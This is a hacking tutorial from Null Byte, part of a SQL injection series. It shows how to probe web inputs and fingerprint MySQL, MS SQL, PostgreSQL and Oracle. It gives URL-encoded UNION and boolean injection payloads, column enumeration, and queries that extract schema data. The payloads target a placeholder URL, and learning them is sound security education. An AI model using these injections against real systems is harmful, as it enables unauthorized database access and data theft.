SQL Injection 101: How to Fingerprint Databases & Perform General Reconnaissance for a More Successful Attack « Null Byte :: WonderHowTo

Know thy enemy — wise words that can be applied to many different situations, includingdatabase hacking. It is essential to performing adequatereconnaissanceon a system before even thinking about launching an attack — any type of attack — and this is no different for SQL injection.The first part of this series covered thebasics of databases, SQL, and SQL injectionto provide a solid foundation you could build upon. Now, we are ready to explore methods to identify and fingerprint databases so we can focus our attacks more efficiently. If you haven't checked out the previous article, hit up the link below to do so before continuing.Previously:Database & SQL Basics Every Hacker Needs to Know for SQL InjectionInitial ProbingBefore any attacks are launched, we first need to test if the application is vulnerable to SQL injection. Any place where it could interact with a database is potentially a target, so it's important to try out all the input fields to determine if they are vulnerable.Usually, trying a single quote (') is an excellent place to start — this is used in SQL to end a string, and if the input isn't properly filtered, it is likely to return an error. A semicolon (;) can also be tried since it is used to end SQL statements. Comment characters such as--and/* */will also likely generate errors, as well as keywords likeORandAND. Another way to fool the database into returning an error is to input a number where a string is expected or vice versa.Sometimes, we can check if a webpage is vulnerable to SQL injection through the URL parameters. The following URL is a typical example of how a database displays products or information on a webpage:http://www.exampleurl.com/product.php?id=4In this case,idis a parameter and4is its value. Here is what this query looks like to the database:SELECT * FROM Products WHERE ProductID=4;We can test for injection using the same methods utilized for input fields like before, and if errors are generated, we can be reasonably confident that injection is possible.It is essential to be cognizant of responses from the server when testing for SQL injection. Often, we won't be so lucky to have detailed error messages displayed right in front of us, so checking thesource codeof the webpage can prove useful. Sometimes, even a blank page that is returned is an indicator that a vulnerability exists.Database FingerprintingThere are many types of database systems that exist, so it is wise to figure out whichRDBMSwe are up against before launching an attack. Not only does this save time and frustration, but it also narrows down the number of attack vectors to try. The following examples will go over techniques to accomplish this for MySQL, Microsoft SQL Server, PostgreSQL, and Oracle Database.Don't Miss:The Essential Newbie's Guide to SQL Injections & Manipulating Data in a MySQL DatabaseMethod 1: Query Database for Version InfoThe first thing we can try is to query the database for its version information. These commands are built into the database so this is often the easiest path to identification. Here are the injections:MySQL:SELECT version()MS SQL:SELECT @@versionPostgreSQL:SELECT version()Oracle:SELECT version FROM v$instanceorSELECT FROM PRODUCT_COMPONENT_VERSIONUsing the previous example URL, here is the injection for MySQL and PostgreSQL:http://www.exampleurl.com/product.php?id=4%20UNION%20SELECT%20version()And this is what's passed to the database:SELECT  *
FROM    Products
WHERE   ProductID = 4
UNION
SELECT  version();For MS SQL:http://www.exampleurl.com/product.php?id=4%20UNION%20SELECT%20@@versionAnd the database query:SELECT  *
FROM    Products
WHERE   ProductID = 4
UNION
SELECT  @@version;For Oracle:http://www.exampleurl.com/product.php?id=4%20UNION%20SELECT%20version%20FROM%20v$instanceDatabase query:SELECT  *
FROM    Products
WHERE   ProductID = 4
UNION
SELECT  version
FROM    v$instance;Method 2: Use a Boolean QueryThe next method to try deals with string concatenation, since different database systems handle this in different ways. This is achieved by tacking on a Boolean test, and if the query returns true, you know that it worked. Here is how each RDBMS handles string concatenation:MySQL:CONCAT('a','b')MS SQL:'a' + 'b'PostgreSQL:'a' || 'b'Oracle:CONCAT('a','b')or'a' || 'b'So let's take a look at the following URL using MySQL or Oracle as the database:http://www.exampleurl.com/product.php?id=4%20AND%20%27ab%27=CONCAT%28%27a%27%2C%27b%27%29The following is the resulting query. If this returns true, then you know that you are either dealing with Oracle or MySQL.SELECT  *
FROM    Products
WHERE   ProductID = 4
    AND 'ab' = CONCAT('a','b');From here, you can try the same injection with the other Oracle string concatenation command, which also works for PostgreSQL:http://www.exampleurl.com/product.php?id=4%20AND%20%27ab%27=%27a%27%20||%20%27b%27And the resulting query is as follows. If it doesn't work, and the first Oracle or MySQL did, then at this point, you can be pretty confident the database is MySQL.SELECT  *
FROM    Products
WHERE   ProductID = 4
    AND 'ab' = 'a' || 'b';Here is what it would look like for MS SQL:http://www.exampleurl.com/product.php?id=4%20AND%20%27ab%27=%27a%27%20+%20%27b%27And the database query:SELECT  *
FROM    Products
WHERE   ProductID = 4
    AND 'ab' = 'a' + 'b';Method 3: Analyze Error Messages ReceivedAnother useful way to identify the database is to simply analyze the error messages received from the application when testing for injection flaws. MySQL will usually return something like this:Cannot query the database.You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "'" at line 1Oracle will display the characters "ORA" followed by a dash and a five-digit number. MS SQL and PostgreSQL aren't quite as straightforward to recognize, but playing around with different inputs will usually lead to desired results (or a quick Google search of the error will also work).Method 4: Make an Educated GuessFinally, if all else fails, we can usually make an educated guess as to whattype of database an application is using. Sites coded in PHP will often use MySQL as a database. Microsoft .Net usually employs MS SQL. Python web apps such as Django often utilize PostgreSQL. And Oracle is most often used for Java applications. Once we know what type of database we're working with, it makes it a lot easier to perform more advanced information gathering.Finding Table NamesIn order to get the most out of SQL injection, we need to know what tables are actually present in the database. The UNION operator can be used to join a forged query to the original, allowing us to view data from other tables. Let's take a look at theUsersandAdminstables fromthe previous article:We can use the following query to begin extracting information from the tables:SELECT      *
FROM        Users
WHERE       ID = 1
ORDER BY    4;The first thing that needs to be done for this to be successful is to determine the correct number of columns since the SELECT statements within the UNION need to have the same number of them. This can be achieved by using the ORDER BY clause, we would just have to gradually increment the number to ORDER BY (as in ORDER BY 5, ORDER BY 6, etc.), and once the query fails, we can safely assume there are that many columns present.Next, we need to determine the data type of each column. This can be accomplished by a bit of trial and error utilizing null values. Using the tables from before, we can begin by guessing the data type of the first column:SELECT  *
FROM    Users
UNION
SELECT   1
        ,null
        ,null
        ,null--We know that there are four total columns, so we can try an integer in the first column followed by three null values (frequently, the first column is an id of some sort, so it makes sense to try an integer first). If the query is successful, we can assume we have the right data type and move on to the next column as so:SELECT  *
FROM    Users
UNION
SELECT   1
        ,'x'
        ,null
        ,null--The 'x' in quotes indicate a string, and once we are successful, we can move on using the same process for the remaining columns.Extracting Schema InformationMost databases also have built-in tables that contain schema information andmetadatarelating to other tables in the system. We can use a UNION-based injection to retrieve this data. MySQL, MS SQL, and PostgreSQL all use the tableinformationschema.tables, which contains the columnstable_nameandtable_schema. So the injection could look something like this:SELECT   ID
        ,Name
FROM    Users
UNION
SELECT   table_name
        ,table_schema
FROM    information_schema.tables--Oracle uses a slightly different naming convention, but the concept is the same:SELECT   ID
        ,Name
FROM    Users
UNION
SELECT   table_name
        ,owner
FROM    all_tables--As you can see, UNION-based SQL injection can expose a lot of information about other tables in the database.Stay Tuned for More on SQL InjectionInformation gathering is one of the most important steps to successful penetration testing and hacking. Now that we have covered methods to identify key information about a database, we can move on to advanced SQL injection techniques. So stay tuned, as we'll have a new SQL injection guide up in the near future to continue this series.Next Up:Advanced SQL Injection Techniques for Maximum ExploitationFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byKevin Ku/Pexels; Screenshots by drd_/Null ByteRelatedSQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowSQL Injection 101:Advanced Techniques for Maximum ExploitationSQL Injection 101:How to Avoid Detection & Bypass DefensesHow To:Enumerate MySQL Databases with MetasploitSQL Injection 101:Common Defense Methods Hackers Should Be Aware OfHow to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1How To:Use SQL Injection to Run OS Commands & Get a ShellHow To:SQL Injection! -- Detailed Introduction.News:How to Study for the White Hat Hacker Associate Certification (CWA)How To:SQL Injection Finding Vulnerable Websites..How to Hack Databases:Running CMD Commands from an Online MS SQL ServerHow To:Hack websites with SQL injectionHow to Hack Databases:Hunting for Microsoft's SQL ServerBecome an Elite Hacker Part 4:Hacking a Website. [Part 1]How To:Gather Information on PostgreSQL Databases with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 14 (MySQL)Hack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesGoogle Dorking:AmIDoinItRite?How To:Protect Your PHP Website from SQL Injection HacksHow To:Hack websites with SQL injection and WebGoatHack Logs and Linux Commands:What's Going On Here?News:PostgreSQL Quick StartIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow To:Noob's Introductory Guide to Hacking: Where to Get Started?How Null Byte Injections Work:A History of Our Namesake